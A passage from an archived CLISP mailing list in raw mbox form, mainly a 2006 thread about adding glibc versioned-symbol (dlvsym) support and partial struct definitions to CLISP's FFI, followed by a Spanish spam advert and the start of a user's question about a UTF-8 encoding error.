also need the __xstat function of that particular ABI. But I disagree with the approach. The C library (more precisely its header files and the symbol versioning in libc.so) shields the usual C programmer from such problems. I think clisp should get on the same level, and use the solution that the C library maintainers propose. Otherwise we have to track closely the glibc versions and update the def-c-struct definitions manually in the future. Concretely this means one of the two following approaches: a) Generate the (def-c-struct stat ...) form at compile time, for example by having a C program like this: #include #include #include #include int main () { printf("%d\n", offsetof (struct stat, st_dev)); ... printf("%d\n", offsetof (struct stat, st_ctime)); printf("%d\n", sizeof (((struct stat *) 0)->st_dev)); ... printf("%d\n", sizeof (((struct stat *) 0)->st_ctime)); return 0; } and a bit of Lisp code that infers where are the gaps between the fields, based on these offset and size numbers. b) Add a new primitive (def-c-partial-struct ...) to the FFI that causes this gap computation to occur in the FFI, based on C snippets emitted by the .lisp -> .c compiler. (I call it "partial" because the definition of the fields are not complete. The C definition of the struct can have additional fields that are not visible from Lisp.) Bruno From bruno@clisp.org Wed Nov 29 07:15:41 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GpR9x-0006CX-1C for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 07:15:41 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GpR9u-0002hE-SM for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 07:15:40 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id kATFFUKN032328; Wed, 29 Nov 2006 16:15:30 +0100 Received: from marbore.ilog.biz (marbore.ilog.biz [172.17.2.61]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id kATFFPGF020328; Wed, 29 Nov 2006 16:15:25 +0100 Received: from honolulu.ilog.fr ([172.16.15.26]) by marbore.ilog.biz with Microsoft SMTPSVC(6.0.3790.1830); Wed, 29 Nov 2006 16:15:51 +0100 Received: by honolulu.ilog.fr (Postfix, from userid 1001) id D5B933F420; Wed, 29 Nov 2006 16:12:08 +0100 (CET) From: Bruno Haible To: clisp-list@lists.sourceforge.net Date: Wed, 29 Nov 2006 16:12:08 +0100 User-Agent: KMail/1.9.1 References: <3f43f78b0611290009q3cbc0f1fh7e2c9a4c52534720@mail.gmail.com> <456D971A.9000600@gnu.org> In-Reply-To: <456D971A.9000600@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200611291612.08715.bruno@clisp.org> X-OriginalArrivalTime: 29 Nov 2006 15:15:51.0594 (UTC) FILETIME=[41C210A0:01C713C9] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Kaz Kylheku Subject: Re: [clisp-list] FFI feature proposal: versioned symbols. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 29 Nov 2006 15:15:41 -0000 Sam Steingold asked: > > In glibc, there is a dlvsym() function for retrieving versioned symbols. > > how about other libc implementations? woe32? Only glibc has dlvsym(). Woe32 uses #defines in the include files to address this problem. > this will give a good symver default via default-library. How do you mean this? A library does not have a "default symbol version". For example glibc-2.4 has symbols openat@@GLIBC_2.4 open@@GLIBC_2.0 but no symbol open@@GLIBC_2.4 If you want the address of the open() function and you don't know its specific version, you cannot use dlvsym(); you must use dlsym(handle,"open"). > the only problem I see here is that we were thinking about switching to > libltdl - does it support this versioning? No. Probably because it's not as useful as Kaz thinks (see the other mail). Bruno From sds@gnu.org Wed Nov 29 07:28:59 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GpRMo-0007dr-Uk for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 07:28:59 -0800 Received: from janestcapital.com ([66.155.124.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GpRMj-00076Q-Aa for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 07:28:58 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A72606D8; Wed, 29 Nov 2006 10:28:38 -0500 Message-ID: <456DA724.8040509@gnu.org> Date: Wed, 29 Nov 2006 10:28:36 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Bruno Haible , clisp-list@lists.sourceforge.net References: <3f43f78b0611290009q3cbc0f1fh7e2c9a4c52534720@mail.gmail.com> <456D971A.9000600@gnu.org> <200611291612.08715.bruno@clisp.org> In-Reply-To: <200611291612.08715.bruno@clisp.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Kaz Kylheku Subject: Re: [clisp-list] FFI feature proposal: versioned symbols. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.ne List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 29 Nov 2006 15:28:59 -0000 Bruno Haible wrote: > Sam Steingold asked: >>> In glibc, there is a dlvsym() function for retrieving versioned symbols. >> how about other libc implementations? woe32? > > Only glibc has dlvsym(). Woe32 uses #defines in the include files to address > this problem. > >> this will give a good symver default via default-library. > > How do you mean this? A library does not have a "default symbol version". > For example glibc-2.4 has symbols > > openat@@GLIBC_2.4 > open@@GLIBC_2.0 > > but no symbol > > open@@GLIBC_2.4 > > If you want the address of the open() function and you don't know its > specific version, you cannot use dlvsym(); you must use dlsym(handle,"open"). sym = dlvsym(lib,"foo","ver"); if (sym == NULL) sym = dlsym(lib,"foo"); From sds@gnu.org Wed Nov 29 07:33:46 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GpRRS-0008BS-2r for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 07:33:46 -0800 Received: from janestcapital.com ([66.155.124.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GpRRR-0000QL-GA for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 07:33:45 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A8520CCC; Wed, 29 Nov 2006 10:33:38 -0500 Message-ID: <456DA851.3060107@gnu.org> Date: Wed, 29 Nov 2006 10:33:37 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Bruno Haible , clisp-list@lists.sourceforge.net References: <3f43f78b0611290009q3cbc0f1fh7e2c9a4c52534720@mail.gmail.com> <456D971A.9000600@gnu.org> <200611291611.53789.bruno@clisp.org> In-Reply-To: <200611291611.53789.bruno@clisp.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Kaz Kylheku Subject: Re: [clisp-list] FFI feature proposal: versioned symbols. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 29 Nov 2006 15:33:46 -0000 Bruno Haible wrote: > Concretely this means one of the two following approaches: > a) Generate the (def-c-struct stat ...) form at compile time, > for example by having a C program like this: > > #include > #include > #include > #include > int main () > { > printf("%d\n", offsetof (struct stat, st_dev)); > ... > printf("%d\n", offsetof (struct stat, st_ctime)); > printf("%d\n", sizeof (((struct stat *) 0)->st_dev)); > ... > printf("%d\n", sizeof (((struct stat *) 0)->st_ctime)); > return 0; > } > > and a bit of Lisp code that infers where are the gaps between the > fields, based on these offset and size numbers. > b) Add a new primitive (def-c-partial-struct ...) to the FFI that causes > this gap computation to occur in the FFI, based on C snippets emitted > by the .lisp -> .c compiler. (I call it "partial" because the definition > of the fields are not complete. The C definition of the struct can have > additional fields that are not visible from Lisp.) yes, this is what we need. we already have def-c-const that eliminates the need to copy the actual values of #defined symbols into lisp. it would be nice to access C structure automatically too. From kkylheku@gmail.com Wed Nov 29 07:34:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GpRSU-0008Hb-NJ for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 07:34:50 -0800 Received: from wr-out-0506.google.com ([64.233.184.234]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GpRSO-0001CB-8T for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 07:34:47 -0800 Received: by wr-out-0506.google.com with SMTP id i20so643101wra for ; Wed, 29 Nov 2006 07:34:41 -0800 (PST) Received: by 10.100.48.7 with SMTP id v7mr562352anv.1164814480954; Wed, 29 Nov 2006 07:34:40 -0800 (PST) Received: by 10.100.45.20 with HTTP; Wed, 29 Nov 2006 07:34:40 -0800 (PST) Message-ID: <3f43f78b0611290734l4a1d7de4l7827fd43689e3e73@mail.gmail.com> Date: Wed, 29 Nov 2006 07:34:40 -0800 From: "Kaz Kylheku" To: clisp-list@lists.sourceforge.net In-Reply-To: <456D971A.9000600@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <3f43f78b0611290009q3cbc0f1fh7e2c9a4c52534720@mail.gmail.com> <456D971A.9000600@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] FFI feature proposal: versioned symbols. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 29 Nov 2006 15:34:51 -0000 On 11/29/06, Sam Steingold wrote: > Kaz Kylheku wrote: > > In glibc, there is a dlvsym() function for retrieving versioned symbols. > > how about other libc implementations? woe32? It's an ELF feature. Windows DLLs don't have versioned symbols. Microsoft's idea of symbol versioning is: - write a broken or inadequate function, and then when we figure out what it should really do, add an Ex to its name and keep the old one. - Put a size (pardon me ``dwSize''), field into every structure whose representation might change (by getting more fields at the end). The library function checks the size field to determine which ABI is being used. (This is actually not reasonable; objects should describe themselves, like they do in Lisp, right? But it has limitations. The structure can't exist in two versions that have the same size). - The good old trick of leaving reserved fields in a structure, so today's client application allocates it as big as tomorrow's application. - Miscellaneous other hacks, like the Winsock initialization with a version field before you can do any socket work. > > (def-call-out __xstat64 > > (:library "libc.so.6") > > (:symver "GLIBC_2.2") > > ... etc) > > I would prefer (:library "libc.so.6" "GLIBC_2.2") Or maybe have a property on it like (:library "libc.so.6" :symver "GLIBC_2.2"). > this way we will not have to check that :library is given for each > :symver and also this will give a good symver default via default-library. > > the only problem I see here is that we were thinking about switching to > libltdl - does it support this versioning? [ ... google ...] Apparently a dlvsym wrapper is not in the API. But that could be patched. The versioning is a feature of the underlying ELF object format, plus the toolchain and the libdl.so API. From kkylheku@gmail.com Wed Nov 29 09:36:58 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GpTMg-0004mf-MH for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 09:36:58 -0800 Received: from wr-out-0506.google.com ([64.233.184.237]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GpTMe-0002Tj-49 for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 09:36:58 -0800 Received: by wr-out-0506.google.com with SMTP id i20so674275wra for ; Wed, 29 Nov 2006 09:36:55 -0800 (PST) Received: by 10.100.120.5 with SMTP id s5mr736758anc.1164821814822; Wed, 29 Nov 2006 09:36:54 -0800 (PST) Received: by 10.100.45.20 with HTTP; Wed, 29 Nov 2006 09:36:54 -0800 (PST) Message-ID: <3f43f78b0611290936h68d71d13i30469abe3d517164@mail.gmail.com> Date: Wed, 29 Nov 2006 09:36:54 -0800 From: "Kaz Kylheku" To: clisp-list@lists.sourceforge.net In-Reply-To: <3f43f78b0611290913t27b3edefp5d84b2e96a00e07e@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <3f43f78b0611290009q3cbc0f1fh7e2c9a4c52534720@mail.gmail.com> <456D971A.9000600@gnu.org> <200611291611.53789.bruno@clisp.org> <3f43f78b0611290913t27b3edefp5d84b2e96a00e07e@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] FFI feature proposal: versioned symbols. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 29 Nov 2006 17:36:58 -0000 On 11/29/06, Bruno Haible wrote: > Yup, this is a problem, because we have hardcoded in > modules/bindings/glibc/linux.lisp definitions like this: [ snip ] > That is, we have extracted the 'struct stat' of a particular glibc version > and therefore also need the __xstat function of that particular ABI. > > But I disagree with the approach. The C library (more precisely its > header files and the symbol versioning in libc.so) shields the usual C > programmer from such problems. Yes, and it does that using the same approach. Only, of course, you can re-compile and re-link the C program, which extracts the particular version at that time. In the FFI, you're doing it by hand. > I think clisp should get on the same level, > and use the solution that the C library maintainers propose. That /is/ the solution that they propose: use versioned symbols to target a stable ABI. The extraction of the interface and selection of symbols is hidden in the toolchain, that's all. > Otherwise we > have to track closely the glibc versions and update the def-c-struct > definitions manually in the future. That's an issue within CLISP. Don't confuse that with what should or should not be available to users of CLISP through the FFI interface. If CLISP wants to solve its __xstat issue in some other way, that's fine. In my application, I don't mind maintaining DEF-C-STRUCT definitions by hand. Since CLISP is a complex app which has to be compiled anyway, the considerations are different. But it's nice to be able to package a CLISP program which is nothing but .lisp files that are fed into CLISP. > Concretely this means one of the two following approaches: > a) Generate the (def-c-struct stat ...) form at compile time, > for example by having a C program like this: > > #include > #include > #include > #include > int main () > { > printf("%d\n", offsetof (struct stat, st_dev)); > ... > printf("%d\n", offsetof (struct stat, st_ctime)); > printf("%d\n", sizeof (((struct stat *) 0)->st_dev)); > ... > printf("%d\n", sizeof (((struct stat *) 0)->st_ctime)); > return 0; > } The problem is that if this C program were to actually call stat(), it would call an appropriately versioned symbol, and so you could use the binary version of this program with a newer version of glibc, where it would continue to produce the same output. Yet if it were to be recompiled, its output might change. Heck, the program doesn't even tell you that you really need to call some version of __xstat64, which takes an extra parameter. > and a bit of Lisp code that infers where are the gaps between the > fields, based on these offset and size numbers. Right. You also need the size of the entire structure. > b) Add a new primitive (def-c-partial-struct ...) to the FFI that causes > this gap computation to occur in the FFI, based on C snippets emitted > by the .lisp -> .c compiler. (I call it "partial" because the definition > of the fields are not complete. The C definition of the struct can have > additional fields that are not visible from Lisp.) ;; proposed syntax (def-partial-c-struct x (:size ) ;; extracted using sizeof (y uint32 :offset 24) ;; y member at offset 16 ...)) So now CLISP will allocate an amount of bytes equal to :size for the structure, and only do conversions on the defined fields, ignoring the gaps on the way :IN, and setting them to zero on the way :OUT. If any field extends beyond the limit specified by :SIZE, the compiler for the form can signal an error. This partial struct idea is definitely very good and worth implementing. But it does not solve the ABI versioning problem. It solves the API extraction problem, by reducing manual labor. You need both approaches. Use the partial struct hack to get only the fields you are interested in, so you don't have to keep revising the definition when new fields are added, which you are not even interested in. And then use the versioned symbols to lock in on the ABI which corresponds to the extracted API. From kkylheku@gmail.com Wed Nov 29 09:54:04 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GpTdE-0006hJ-Fz for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 09:54:04 -0800 Received: from wr-out-0506.google.com ([64.233.184.232]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GpTdD-00070b-Ne for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 09:54:04 -0800 Received: by wr-out-0506.google.com with SMTP id i20so678675wra for ; Wed, 29 Nov 2006 09:54:02 -0800 (PST) Received: by 10.100.124.5 with SMTP id w5mr760207anc.1164822841474; Wed, 29 Nov 2006 09:54:01 -0800 (PST) Received: by 10.100.45.20 with HTTP; Wed, 29 Nov 2006 09:54:01 -0800 (PST) Message-ID: <3f43f78b0611290954u545cb71bl240de0973e045703@mail.gmail.com> Date: Wed, 29 Nov 2006 09:54:01 -0800 From: "Kaz Kylheku" To: clisp-list@lists.sourceforge.net In-Reply-To: <200611291612.08715.bruno@clisp.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <3f43f78b0611290009q3cbc0f1fh7e2c9a4c52534720@mail.gmail.com> <456D971A.9000600@gnu.org> <200611291612.08715.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] FFI feature proposal: versioned symbols. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 29 Nov 2006 17:54:04 -0000 On 11/29/06, Bruno Haible wrote: > Sam Steingold asked: > > > In glibc, there is a dlvsym() function for retrieving versioned symbols. > > > > how about other libc implementations? woe32? > > Only glibc has dlvsym(). Woe32 uses #defines in the include files to address > this problem. This problem is so nontrivial that Microsoft developed COM (out of DCE) to address it. In the base non-COM libraries, versioning is done with size fields and other hacks, like I mentioned in my other e-mail. But primary way by which versioning problems are addressed in the MS environment is by writing and using COM DLL's. Interfaces are versioned, and tied to a 128 bit GUID. The library location problem is also solved by GUIDS. To locate a library, a client passes a ``class ID'' (CLSID) GUID to an API function. That API pulls out the path name from the registry and loads the library. Next, the application asks for an interface, using an ``interface ID'' (IID). If the object supports that interface, it returns a pointer (which happens to point to data that is binary compatible with the way the Microsoft compiler compiles C++ abstract base classes). > A library does not have a "default symbol version". > For example glibc-2.4 has symbols > > openat@@GLIBC_2.4 > open@@GLIBC_2.0 > > but no symbol > > open@@GLIBC_2.4 > > If you want the address of the open() function and you don't know its > specific version, you cannot use dlvsym(); you must use dlsym(handle,"open"). Correct. But if you are writing FFI stuff, you know exactly what is versioned and what isn't. You know that as of a particular version of the library, openat was introduced as a versioned symbol. So you target that symbol, using the version that you want, and declare that your program needs that version of the library or later. In the case of open, since it's not a versioned symbol, you just target open. So what happens if glibc 2.6 comes out and needs to introduce a versioned open? How will your program run? What will happen is that they will make open into an alias: open -> old_open So old clients will be redirected to old_open and continue to run. There will be a new_open function, and some versioned symbol which will alias to that function. open@@GLIBC_2.6 -> new_open So why use versioned symbols and not just keep repeating the aliasing trick? Because the old unversioned symbol can only alias to one version. You have to pick a single function, like old_open, and map open to that. And that's what you're stuck with. Versioning allows open to refer to different things depending on who is asking. Newly compiled programs would be linked to the new open, requesting version GLIBC_2.6. The dynamic linker, ld.so, uses the equivalent of dlvsym to grab "open" at version "GLIBC_2.6". For old clients, there is no version request, so it grabs "open" via the equivalent of dlsym, which resolves to the same address as old_open. When glibc 2.7 comes out, there can be an open@@GLIBC_2.7, as well as an open@GLIBC_2.6. The double @@ indicates that that's the default version that is selected by newly linked programs. > > the only problem I see here is that we were thinking about switching to > > libltdl - does it support this versioning? > > No. Probably because it's not as useful as Kaz thinks (see the other mail). Versioned symbols are the reason why, at all, you can upgrade a GNU/Linux system without everything going haywire, like it did in the a.out days. At work here, I've been able to take a vendor's embedded distro (targetting MIPS) running glibc 2.3.4, and run their binaries under a glibc-2.5 that I compiled. I literally copied the new glibc over top of the root filesystem, and by golly, it booted. That is thanks, in part, to careful ABI versioning. We can only speculate about the reason why libtool's library doesn't have dlvsym (yet!). Maybe that project is more focused on different problems. If a library with versioned symbols is linked using libtool, all that versioning stuff still works. Libtool helps with issues related to finding the library at link time and run time. Maybe nobody is using dlopen() on versioned interfaces with libraries that are used in conjunction with libtool. Typically libaries that are designed for run-time use solve their versioning problems in other ways, one big reason being portability. If you're designing a platform-independent ``plugin'', then you can't just say ``we will use ELF symbol versioning to deal with versioning issues, and too bad those of you who are on non-ELF platforms''. But in the case of glibc, we are run-time linking to a library which is not normally used this way. That project has decided to deal with versioning problems by using the versioning facilities in ELF. Which is fine, since it gets to define the platform, basically. That means that if you want to target that library, you have to play by its rules. glibc is not even linked using libtool, so it would be stupid to use libtool's API to access it. If dlopen("libc.so.6") doesn't work, you have a big problem that libtool won't help you with. From namodenire@lycos.es Thu Nov 30 03:44:53 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GpkLU-0004fl-P1 for clisp-list@lists.sourceforge.net; Thu, 30 Nov 2006 03:44:53 -0800 Received: from lmfilto01.st1.spray.net ([212.78.202.65]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GpkLS-00045K-B9 for clisp-list@lists.sourceforge.net; Thu, 30 Nov 2006 03:44:52 -0800 Received: from lmfilto01.st1.spray.net (localhost [127.0.0.1]) by lmfilto01-10027.st1.spray.net (Postfix) with ESMTP id 53706BA87C2; Thu, 30 Nov 2006 11:44:17 +0000 (GMT) Received: from localhost (localhost [127.0.0.1]) by lmfilto01-10025.st1.spray.net (Postfix) with ESMTP id 26802BA87D0; Thu, 30 Nov 2006 11:44:17 +0000 (GMT) Received: from cmcodec04.st1.spray.net (localhost [127.0.0.1]) by cmcodec04.st1.spray.net (Postfix) with SMTP id B9E63CA594; Thu, 30 Nov 2006 11:44:16 +0000 (GMT) Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys From: "=?iso-8859-1?Q?Ley_Laboral?=" To: Date: Thu, 30 Nov 2006 06:41:14 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message-Id: <20061130114416.B9E63CA594@cmcodec04.st1.spray.net> X-Lycos-AS: 0.50 X-Lycos-AV: OK X-Lycos-IS: NO X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 INFO_TLD URI: Contains an URL in the INFO top-level domain Subject: [clisp-list] =?iso-8859-1?q?Controle_jornada_laboral_y_evite_mult?= =?iso-8859-1?q?as=2E_Publicidad?= X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: dsolucionesperu@yahoo.es List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 30 Nov 2006 11:44:53 -0000 Estimado(a) Amigo(a) Actualmente se encuentra en vigencia para el sector privado los Decretos Sup= remos 004=2D2006=2DTR Y 011=2D2006=2DTR referentes al Registro de Control de= Asistencia. Recuerde que son Infracciones de Primer Grado no contar con el Registro de C= ontrol de Asistencias. Seg=FAn el decreto Legislativo 910 la multa por estas= infracciones son de 5 U.I.T. La multa puede ser duplicada cuando concluida = la inspecci=F3n subsista el incumplimiento. Pero no se preocupe... Nuestro moderno sistema de "CONTROL DE ASISTENCIA DIC= ON", controlado por computadora, le soluciona este y muchos problemas m=E1s.= . Adem=E1s contamos con m=E1s de 250 sistemas instalados a nivel nacional..= Pero no crea lo que le digo, compru=E9belo usted mismo ingresando a: www.ter= anets.info/cintis/ Atentamente, ************************************************** * Patricia Jorge * Ventas On=2Dline * DICON =2D Sistemas de Control Empresarial * Reduzca Costos y Aumente Productividad * Central: 423=2D0500 ************************************************** Para no recibir m=E1s esta publicidad, envi=E9 un e=2Dmail en blanco a esta = direcci=F3n: delete_mail_dicon@yahoo.es Les presentamos nuestras disculpas s= i este e=2Dmail le causo alg=FAn inconveniente From pjb@informatimago.com Mon Dec 04 09:02:31 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GrHD4-0006iY-P3 for clisp-list@lists.sourceforge.net; Mon, 04 Dec 2006 09:02:30 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GrHD2-0001Ix-6w for clisp-list@lists.sourceforge.net; Mon, 04 Dec 2006 09:02:30 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 31F78585E7; Mon, 4 Dec 2006 18:02:09 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id ABA1B585E6; Mon, 4 Dec 2006 18:02:03 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id E527512AD83; Mon, 4 Dec 2006 18:02:02 +0100 (CET) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Message-Id: <20061204170202.E527512AD83@thalassa.informatimago.com> Date: Mon, 4 Dec 2006 18:02:02 +0100 (CET) X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00, UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Where does this encoding come from? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Dec 2006 17:02:31 -0000 Here is something strange. I've set after launch all the encodings to utf-8 and yet, when converting a Turk word into utf-8 it raises some error about iso-8859-15! If I launch with clisp -norc -E utf-8 it works ok. C/USER[132]> (ext:convert-string-to-bytes "=C3=A7=C4=B1kartmak" charset:u= tf-8) *** - Character #\u0131 cannot be represented in the character set CHARSET:ISO-8859-15 The following restarts are available: ABORT :R1 ABORT C/Break 1 USER[133]> :a C/USER[134]> (apropos "-ENCODING*") CUSTOM:*DEFAULT-FILE-ENCODING* symbol-macro CUSTOM:*FOREIGN-ENCODING* symbol-macro SYSTEM::*HTTP-ENCODING* variable CUSTOM:*MISC-ENCODING* symbol-macro CUSTOM:*PATHNAME-ENCODING* symbol-macro CUSTOM:*TERMINAL-ENCODING* symbol-macro C/USER[135]> (list CUSTOM:*DEFAULT-FILE-ENCODING* CUSTOM:*FOREIGN-ENCODING* =20 SYSTEM::*HTTP-ENCODING* =20 CUSTOM:*MISC-ENCODING* =20 CUSTOM:*PATHNAME-ENCODING* =20 CUSTOM:*TERMINAL-ENCODING* ) (#1=3D# #1# # = #1# #1# #1#) C/USER[136]> (EXT:ARGV) #("/usr/local/languages/clisp-2.41/lib/clisp/full/lisp.run" "-B" "/usr/local/languages/clisp-2.41/lib/clisp" "-M" "/usr/local/languages/clisp-2.41/lib/clisp/full/lispinit.mem" "-N" "/usr/local/languages/clisp-2.41/share/locale" "-ansi" "-q" "-K" "full"= "-m" "32M" "-I" "-Efile" 